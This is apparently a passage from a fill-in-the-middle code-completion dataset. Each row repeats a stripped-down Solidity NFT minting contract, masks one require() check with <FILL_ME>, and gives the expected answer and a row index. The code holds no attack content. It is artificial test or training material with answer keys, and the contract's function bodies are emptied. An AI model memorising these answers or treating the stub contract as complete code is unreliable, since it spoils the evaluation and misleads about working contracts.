function DEVELOPER_ADDRESS() public pure returns (address payable developer) {
}
}
|
Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts"
| 212,594 |
Max_Minted[msg.sender]<(Max_Mint+1)
|
"You have reached Maximum mint limit"
|
pragma solidity ^0.8.7;
contract AdventNFT is ERC721A, Ownable {
using Strings for uint256;
bytes32 public Whitelist_OG;
bytes32 public AllowList;
uint256 public AllowStartTime;
uint256 public WLStartTime;
uint256 public MAX_SUPPLY = 6666; //total supply
uint256 public Max_Mint = 3; //max mint
uint256 public price = 0.13 ether; //price
uint256 public wl_price = 0.1 ether; // wl price
address payable withdrawWallet;
string public baseURI;
mapping(address => uint256) public Max_Minted;
constructor(
string memory _uri,
address payable _withdrawWallet,
bytes32 _wl, bytes32 _allow, uint256 _wltime, uint256 _altime) ERC721A("Advent NFT ", "ADV") {
}
function setwithdrawal(address payable _withdrawWallet) public virtual onlyOwner {
}
function setURI(string calldata uri ) public onlyOwner {
}
function setSigns(bytes32 _allowCode, bytes32 _wlCode) public onlyOwner{
}
function MaxAllowedMints(uint256 Value) public onlyOwner {
}
function PauseMint() public onlyOwner {
}
function StartMint(uint256 _SetWLTime, uint256 _SetAllowTime) public onlyOwner{
}
//set price
function Price(uint256 _newprice) public onlyOwner {
}
function WLPrice(uint256 _newWlPrice) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function WithdrawAddress() public view virtual returns (address){
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function isValidAllowed(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function mint(uint256 quantity, bytes32[] memory sign) external payable {
require(totalSupply()<=MAX_SUPPLY,"All NFTs were Sold Out");
require(WLStartTime>0,"Sale not started");
require(AllowStartTime>0,"Sale not started_");
require(block.timestamp>WLStartTime,"Sale Not Started yet__");
if(block.timestamp>AllowStartTime) {
uint256 Minted = Max_Minted[msg.sender];
require(isValidAllowed(sign, keccak256(abi.encodePacked(msg.sender))), "Not a part of Allowlist");
require(Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts");
require(<FILL_ME>)
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(msg.value >= (price * quantity), "Not enough ether sent");
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
} else if(block.timestamp>WLStartTime && block.timestamp<AllowStartTime){
uint256 Minted = Max_Minted[msg.sender];
require(isValidWL(sign, keccak256(abi.encodePacked(msg.sender))), "Not a part of OG/Whitelist");
require(Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts");
require(quantity <= (Max_Mint-Max_Minted[msg.sender]), "You have reached Maximum mint limit");
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(msg.value >= (wl_price * quantity), "Not enough ether sent");
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
}
}
// mint by owner
function MintByOwner(address _receiver,uint256 quantity) external onlyOwner virtual {
}
// withdraw money
function withdraw() public virtual onlyOwner {
}
function DEVELOPER_ADDRESS() public pure returns (address payable developer) {
}
}
|
quantity<=(Max_Mint-Max_Minted[msg.sender]),"You have reached Maximum mint limit"
| 212,594 |
quantity<=(Max_Mint-Max_Minted[msg.sender])
|
"Not a part of OG/Whitelist"
|
pragma solidity ^0.8.7;
contract AdventNFT is ERC721A, Ownable {
using Strings for uint256;
bytes32 public Whitelist_OG;
bytes32 public AllowList;
uint256 public AllowStartTime;
uint256 public WLStartTime;
uint256 public MAX_SUPPLY = 6666; //total supply
uint256 public Max_Mint = 3; //max mint
uint256 public price = 0.13 ether; //price
uint256 public wl_price = 0.1 ether; // wl price
address payable withdrawWallet;
string public baseURI;
mapping(address => uint256) public Max_Minted;
constructor(
string memory _uri,
address payable _withdrawWallet,
bytes32 _wl, bytes32 _allow, uint256 _wltime, uint256 _altime) ERC721A("Advent NFT ", "ADV") {
}
function setwithdrawal(address payable _withdrawWallet) public virtual onlyOwner {
}
function setURI(string calldata uri ) public onlyOwner {
}
function setSigns(bytes32 _allowCode, bytes32 _wlCode) public onlyOwner{
}
function MaxAllowedMints(uint256 Value) public onlyOwner {
}
function PauseMint() public onlyOwner {
}
function StartMint(uint256 _SetWLTime, uint256 _SetAllowTime) public onlyOwner{
}
//set price
function Price(uint256 _newprice) public onlyOwner {
}
function WLPrice(uint256 _newWlPrice) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function WithdrawAddress() public view virtual returns (address){
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function isValidAllowed(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function mint(uint256 quantity, bytes32[] memory sign) external payable {
require(totalSupply()<=MAX_SUPPLY,"All NFTs were Sold Out");
require(WLStartTime>0,"Sale not started");
require(AllowStartTime>0,"Sale not started_");
require(block.timestamp>WLStartTime,"Sale Not Started yet__");
if(block.timestamp>AllowStartTime) {
uint256 Minted = Max_Minted[msg.sender];
require(isValidAllowed(sign, keccak256(abi.encodePacked(msg.sender))), "Not a part of Allowlist");
require(Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts");
require(quantity <= (Max_Mint-Max_Minted[msg.sender]), "You have reached Maximum mint limit");
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(msg.value >= (price * quantity), "Not enough ether sent");
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
} else if(block.timestamp>WLStartTime && block.timestamp<AllowStartTime){
uint256 Minted = Max_Minted[msg.sender];
require(<FILL_ME>)
require(Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts");
require(quantity <= (Max_Mint-Max_Minted[msg.sender]), "You have reached Maximum mint limit");
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(msg.value >= (wl_price * quantity), "Not enough ether sent");
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
}
}
// mint by owner
function MintByOwner(address _receiver,uint256 quantity) external onlyOwner virtual {
}
// withdraw money
function withdraw() public virtual onlyOwner {
}
function DEVELOPER_ADDRESS() public pure returns (address payable developer) {
}
}
|
isValidWL(sign,keccak256(abi.encodePacked(msg.sender))),"Not a part of OG/Whitelist"
| 212,594 |
isValidWL(sign,keccak256(abi.encodePacked(msg.sender)))
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.